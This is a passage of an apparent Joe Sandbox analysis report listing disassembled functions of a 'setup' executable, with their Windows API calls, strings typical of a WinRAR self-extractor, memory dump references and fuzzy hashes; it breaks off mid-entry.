Opcode ID: 0fda91682fa340f45e9b9456903459415ca016e8a6ea4e4fc081078294366420
Instruction ID: fe6b8d9bea8d84c86b2eff89114c98081dce497d6567fe2f8f952bb086a353af
Opcode Fuzzy Hash: 0fda91682fa340f45e9b9456903459415ca016e8a6ea4e4fc081078294366420
Instruction Fuzzy Hash: 8051D271A00208AFCB10CFAAD845AFEBBF9EF49310F14412BE551E7391D734A941CB68

Function 004AC534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 004AC54A
_swprintf.LIBCMT ref: 004AC57E

Part of subcall function 0049400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0049401D

SetDlgItemTextW.USER32(?,00000066,004D946A), ref: 004AC59E
_wcschr.LIBVCRUNTIME ref: 004AC5D1
EndDialog.USER32(?,00000001), ref: 004AC6B2

Strings

%s%s%u, xrefs: 004AC573

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: ce219b1b92a641a3990cb394b367146b773bc86465ac24776f2e2e5d94d7f28e
Instruction ID: 3aa0768a5b43d0669f5b96607dcd699ec1b8fdc8cd34e226319b0f3b35c699c9
Opcode Fuzzy Hash: ce219b1b92a641a3990cb394b367146b773bc86465ac24776f2e2e5d94d7f28e
Instruction Fuzzy Hash: 49419171D00618AADF66DBA0CC85FEA7BBCEB19305F0040A7E509E6161E7799BC4CF58

Function 004A9635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 004A964E
GetWindowRect.USER32(?,00000000), ref: 004A9693
ShowWindow.USER32(?,00000005,00000000), ref: 004A972A
SetWindowTextW.USER32(?,00000000), ref: 004A9732
ShowWindow.USER32(00000000,00000005), ref: 004A9748

Strings

RarHtmlClassName, xrefs: 004A96F4

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 1d94b7f9964279325be32e722c3c19646bb8e7e73da54eb91897134f85387b06
Instruction ID: 92d3b2dedfd0fffef4abf5f0ea8b79376f0250361d7a676b3c1a9f440b2a167d
Opcode Fuzzy Hash: 1d94b7f9964279325be32e722c3c19646bb8e7e73da54eb91897134f85387b06
Instruction Fuzzy Hash: 1931EE31004210EFCB519F64DE48B6B7BA8EF49701F00456AFE499A252CB78DD24CB7D

Function 004BBFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004BBF79: _free.LIBCMT ref: 004BBFA2

_free.LIBCMT ref: 004BC003

Part of subcall function 004B84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?), ref: 004B84F4
Part of subcall function 004B84DE: GetLastError.KERNEL32(?,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?,?), ref: 004B8506

_free.LIBCMT ref: 004BC00E
_free.LIBCMT ref: 004BC019
_free.LIBCMT ref: 004BC06D
_free.LIBCMT ref: 004BC078
_free.LIBCMT ref: 004BC083
_free.LIBCMT ref: 004BC08E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: d2e7910fb0c178f6904fd7b87c9c45ccf2c7674b3b7bb1806a643f236c87cf25
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: F0112E71540B04F6D620BBB2CD46FDBB79DEF00704F40881EB699A6452DBA9F9049BE4

Function 004B20CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,004B20C1,004AFB12), ref: 004B20D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004B20E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004B20FF
SetLastError.KERNEL32(00000000,?,004B20C1,004AFB12), ref: 004B2151

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 2fa222469897add923fc252923f01b6cab623d66ae9874d3c576ab5355a2b932
Instruction ID: 87fda67d7a7dc6f902d3c87797003d8cbdf88da72596a9cdf2e9727b7893c8bd
Opcode Fuzzy Hash: 2fa222469897add923fc252923f01b6cab623d66ae9874d3c576ab5355a2b932
Instruction Fuzzy Hash: 0B01D8322197126EA6A42FBF7D859D72A88EB11779721063FF610551E0EF994C02926C

Function 004B9029 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,004B895F,004B85FB,?,004B8FD3,00000001,00000364,?,004B3713,00000050,?,004D0EE8,00000200), ref: 004B902E
_free.LIBCMT ref: 004B9063
_free.LIBCMT ref: 004B908A
SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B9097
SetLastError.KERNEL32(00000000,?,004D0EE8,00000200), ref: 004B90A0

Strings

XL, xrefs: 004B907E

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ErrorLast$_free
String ID: XL
API String ID: 3170660625-2690532890
Opcode ID: 3a7917bb3301934f19effbc60baadde1bf798bac571e6113c57af1a6a892d3f2
Instruction ID: 00c1c8d62c7bb2846698d7f61e7566ef44630a1934c4dad930a2ec3c9f9b9ea0
Opcode Fuzzy Hash: 3a7917bb3301934f19effbc60baadde1bf798bac571e6113c57af1a6a892d3f2
Instruction Fuzzy Hash: 0401D6726056006A8221377A6D85DEB265D9BD0779331003FF705A2252EF6C8D12917D

Function 004ADC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

ReleaseSRWLockExclusive, xrefs: 004ADCD9
AcquireSRWLockExclusive, xrefs: 004ADCC9
KERNEL32.DLL, xrefs: 004ADCB4

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 3fb2fb737084f257f9916eb98e2c6920dd889e0407e4c6e42eec7a9a59c172a1
Instruction ID: bf58f18440d69b2860266227b9da3a7fdbf351a92cbdfd5124501baf29d7abdc
Opcode Fuzzy Hash: 3fb2fb737084f257f9916eb98e2c6920dd889e0407e4c6e42eec7a9a59c172a1
Instruction Fuzzy Hash: 11012D31E423225B4F645F755C85BB71394AAA3323320413FE503D3700DB5DC881E69D

Function 004B8060 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004B807E

Part of subcall function 004B84DE: RtlFreeHeap.NTDLL(00000000,00000000,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?), ref: 004B84F4
Part of subcall function 004B84DE: GetLastError.KERNEL32(?,?,004BBFA7,?,00000000,?,00000000,?,004BBFCE,?,00000007,?,?,004BC3CB,?,?), ref: 004B8506

_free.LIBCMT ref: 004B8090
_free.LIBCMT ref: 004B80A3
_free.LIBCMT ref: 004B80B4
_free.LIBCMT ref: 004B80C5

Strings

L, xrefs: 004B8074

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: L
API String ID: 776569668-1778183444
Opcode ID: b0ab06dde30924569caf643ed982df9e85b6ab03a6f4fac14baea512278ba805
Instruction ID: 6b8fb21c4f3d460994d62cf9fe76a6d9f585dbd613a9b01e16836a060672b410
Opcode Fuzzy Hash: b0ab06dde30924569caf643ed982df9e85b6ab03a6f4fac14baea512278ba805
Instruction Fuzzy Hash: 38F03A74801125EBD7516F1BBD018A63B69B71472030A466FF401E7B71DB390862EFED

Function 004A0CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 004A0D0D

Part of subcall function 0049ACF5: GetVersionExW.KERNEL32(?), ref: 0049AD1A

LocalFileTimeToFileTime.KERNEL32(?,004A0CB8), ref: 004A0D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 004A0D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004A0D56
SystemTimeToFileTime.KERNEL32(?,004A0CB8), ref: 004A0D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 004A0D72

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 5af682ace9f09d0d818b14499969629cf44af8a1916bfe43c13d9dd6637f4b66
Instruction ID: 7fd4c44e71b9e9cdac0983c1a4eb12f40237df61b99f2e9da6b4a227e0510f87
Opcode Fuzzy Hash: 5af682ace9f09d0d818b14499969629cf44af8a1916bfe43c13d9dd6637f4b66
Instruction Fuzzy Hash: 9131D87A900209EBCB00DFE5C885DEFBBB8FF58701B04456AE955E3210E734A645CB69

Function 004A91B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 004A91D4
_memcmp.LIBVCRUNTIME ref: 004A91EB

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: f28ccb903780b6bc50f318e7b85154df6059d5e0aed5a1d02620ce6372bbb7a1
Instruction ID: 79c8bb31a5c3104172c6e72a1f08330898af50db80dc4deead2c94bbf049c7db
Opcode Fuzzy Hash: f28ccb903780b6bc50f318e7b85154df6059d5e0aed5a1d02620ce6372bbb7a1
Instruction Fuzzy Hash: 0A21D67260010E7BE7059E11CC41F6F73AD9BB2748B20856BFC099A341E278ED454799

Function 004AD2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 004AD2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AD30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AD31D
TranslateMessage.USER32(?), ref: 004AD327
DispatchMessageW.USER32(?), ref: 004AD331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 004AD33C

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 365055ac86d726d924f42389e6ab620ba9072608a798aa9717e016d1ed8325c7
Instruction ID: 20f119db256d7fb81d4621e52ecc43185cde9985572abcde26a6ef1780f822dc
Opcode Fuzzy Hash: 365055ac86d726d924f42389e6ab620ba9072608a798aa9717e016d1ed8325c7
Instruction Fuzzy Hash: 70F03C72E01119BBCB205BA1DD4CEEBBF6DEF52392F008022FA06D2110DA788551CBA9

Function 004AC40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 004AC435

Part of subcall function 004A17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0049BB05,00000000,.exe,?,?,00000800,?,?,004A85DF,?), ref: 004A17C2

Strings

MAX, xrefs: 004AC487
<, xrefs: 004AC41E
HIDE, xrefs: 004AC474
MIN, xrefs: 004AC4A3

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 374b53ec973abd3bbb9a34c7545f2e172ac6af07e3a732948627dab13c88124d
Instruction ID: dd826b2f9cfa05fbd0e7ed76bd79c06cbae2bea5091a33ce6c6433da52790256
Opcode Fuzzy Hash: 374b53ec973abd3bbb9a34c7545f2e172ac6af07e3a732948627dab13c88124d
Instruction Fuzzy Hash: B631837690420DAADF61DA55CC91FEF77BCEB29304F0040ABFA05D6150EBB99EC4CA58

Function 004AA990 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

EndDialog.USER32(?,00000001), ref: 004AA9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 004AA9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 004AAA24

Strings

GETPASSWORD1, xrefs: 004AA9A9
xjN, xrefs: 004AAA02

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xjN
API String ID: 445417207-3361520957
Opcode ID: 33a40b4021ed66ffec942feca438151869856a681ea1bf015e7f971660d28ba5
Instruction ID: 0c6c0f76b6ed4f00268dc86c6de5567bef40e11fb4767a5ef70bf73b1714f097
Opcode Fuzzy Hash: 33a40b4021ed66ffec942feca438151869856a681ea1bf015e7f971660d28ba5
Instruction Fuzzy Hash: 28114433A401187ADB219A659E09FFB3B7CEB6B304F000427FA45F6190C3A89965D66A

Function 004AADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 004AADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 004AAE22
DeleteObject.GDI32(00000000), ref: 004AAE54
DeleteObject.GDI32(00000000), ref: 004AAE77

Part of subcall function 004A9E1C: FindResourceW.KERNEL32(004AAE4D,PNG,?,?,?,004AAE4D,00000066), ref: 004A9E2E
Part of subcall function 004A9E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,004AAE4D,00000066), ref: 004A9E46
Part of subcall function 004A9E1C: LoadResource.KERNEL32(00000000,?,?,?,004AAE4D,00000066), ref: 004A9E59
Part of subcall function 004A9E1C: LockResource.KERNEL32(00000000,?,?,?,004AAE4D,00000066), ref: 004A9E64

Strings

], xrefs: 004AAE2A

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: fa0122d87715fb060deeaeca42e1cf17d9470a4387f5d6c2c221fefcb7a515e5
Instruction ID: 6552e71be4a48c93f3d8843f03c4f1e293cae0e20344ee0a62d10b4009cfc95e
Opcode Fuzzy Hash: fa0122d87715fb060deeaeca42e1cf17d9470a4387f5d6c2c221fefcb7a515e5
Instruction Fuzzy Hash: 1E012B32582215ABC71167655C05B7F7B799BA7B41F180017FE00A7391DF794C35C2BA

Function 004ACC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0049130B: GetDlgItem.USER32(00000000,00003021), ref: 0049134F
Part of subcall function 0049130B: SetWindowTextW.USER32(00000000,004C35B4), ref: 00491365

EndDialog.USER32(?,00000001), ref: 004ACCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 004ACCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 004ACD05
SetDlgItemTextW.USER32(?,00000068), ref: 004ACD14

Strings

RENAMEDLG, xrefs: 004ACCA8

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 0d9e52f9de8a470fde3eba0d87cbb332cf123f53f3f1226c6ba37a5b32234756
Instruction ID: ece126a67ab2f24547f68d6f5b2f2ba17f22307f88d38e6e55da5e743f50436d
Opcode Fuzzy Hash: 0d9e52f9de8a470fde3eba0d87cbb332cf123f53f3f1226c6ba37a5b32234756
Instruction Fuzzy Hash: 290168332853107FD1614F249E88F673B6DEB6B702F200023F34AA60E1C6A95901D76D

Function 004B2503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 004B251A

Part of subcall function 004B2B52: ___AdjustPointer.LIBCMT ref: 004B2B9C

_UnwindNestedFrames.LIBCMT ref: 004B2531
___FrameUnwindToState.LIBVCRUNTIME ref: 004B2543
CallCatchBlock.LIBVCRUNTIME ref: 004B2567

Strings

/)K, xrefs: 004B2526, 004B2517

Memory Dump Source

Source File: 00000000.00000002.1636853570.0000000000491000.00000020.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1636839633.0000000000490000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636877655.00000000004C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636897416.00000000004F1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636952152.00000000004F2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_setup.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: /)K
API String ID: 2633735394-1763237692
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 8fe2492aa223a861cd92d9f9b4a0fac9d85ab75cbc8056c4ea55fc9d0fccaf42
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 02012D32000109BBCF125F65CD01EDB3BBAFF59714F05401AFD1865120C379E961DBA9

Function 004B75C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,004B7573,00000000,?,004B7513,00000000,004CBAD8,0000000C,004B766A,00000000,00000002), ref: 004B75E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004B75F5
FreeLibrary.KERNEL32(00000000,?,?,?,004B7573,00000000,?,004B7513,00000000,004CBAD8,0000000C,004B766A,00000000,00000002), ref: 004B7618

Strings

CorExitProcess, xrefs: 004B75ED
mscoree.dll, xrefs: 004B75DB

Memory Dump Source

